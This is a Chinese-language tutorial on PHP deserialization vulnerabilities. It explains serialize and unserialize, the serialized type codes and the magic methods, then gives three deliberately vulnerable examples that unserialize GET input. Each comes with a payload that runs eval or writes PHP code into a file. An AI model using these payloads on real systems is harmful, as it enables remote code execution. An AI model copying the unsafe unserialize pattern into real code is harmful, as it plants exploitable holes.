社区微信群开通啦,扫一扫抢先加入社区官方微信群
社区微信群
主干函数
serialize() //序列化函数
unserialize() //反序列化函数
1.定义:将对象的状态信息转换为可以存储或传输形式的过程(字符串)。将字符传拆分成字符进行传输
序列化的目的是方便数据的传输和存储
2.将拆开的字符拼装成一个完整的
序列化一些字符的含义
a – array 数组
b – boolean 布尔型
d – double 双精度型
i – integer 整型
o – common object 一般对象
r – reference
s – string 字符串
C – custom object 自定义对象
O – class N – null 表示类
R – pointer reference
U – unicode string unicode编码的字符串
一些常见的魔术变量(魔术方法)
常见的几个魔法函数:
__construct()当一个对象创建时调用被调用 //构造函数
__destruct()当一个对象销毁时被 //析构函数
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
<?php
class A {
var $test = "demo";
function __wakeup() {
eval($this->test);
}
}
$b = new A(); //创建对象(将对象实例化)
$c = serialize($b); //将对象序列化,赋值给$c
$a = $_GET['test']; //通过get传参进来一个值,接受参数的为test
$a_unser = unserialize($a); //将get传参进来的值进行反序列化
?>
payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
<?php
/*require "test.php";//测试方便 (包含了创建了刚才写入的php文件,相当于直接读取)*/
class A {
var $test = '123';
function __wakeup() {
$fp = fopen("test.php", "w"); //打开test.php文件,如果此文件不存在,会创建一个(w)
fwrite($fp, $this->test); //将$this->test内容写入到$fp
fclose($fp); //关闭打开的$fp指针文件(因为打开一个文件需要再关闭)
}
}
$a = new A(); //创建一个新对象,实例化对象
print_r(serialize($a)); //打印序列化的$a,相当于将对象给实例化
$class1 = $_GET['test']; //get传参进来的值赋给$class1
$class1_unser = unserialize($class1); //将get传参进来的值,进行反序列化,反序列化时会立即调用魔术变量__wakeup,并且执行创建一个test.php
?>
payload: ?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
<?php
/*require 'test.php'; */
class b {
function __construct($test) { //创建一个魔术常量的函数,如果下边有创建对象,会立马调用
$fp = fopen("test.php", 'w' ); //打开一个test.php文件,如果没有,就会创建
fwrite($fp, $test); //将$test的内容写入进$fp中
fclose($fp); //关闭$fp指针所在位置
}
}
class a { //创建一个类 类名a
var $test = 123; //定义一个变量
function __wakeup() { //定义一个魔术变量函数,当序列化之后会立马执行里面的内容
$obj = new b($this->test); //实例化一个对象b,给变量$obj,因为i创建了一个对象,会立马调用上边的构造函数__construct(魔术变量)的内容
}
}
$class = $_GET['test']; //接受get传参进来的值进行,传递给$class
$class_u = unserialize($class); //将get传参进来的值进行反序列化,会调用魔术变量__wakeup,会立即执行里面的实例化对象
?>
payload: ?test=O:1:"A":1:{s:4:"test";s:26:"<?php echo "hello word";?>";}
由于我们实例二给创建了一个test.php文件,我们换另一种写入的内容,然后在观察是创建了,还是直接写入
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!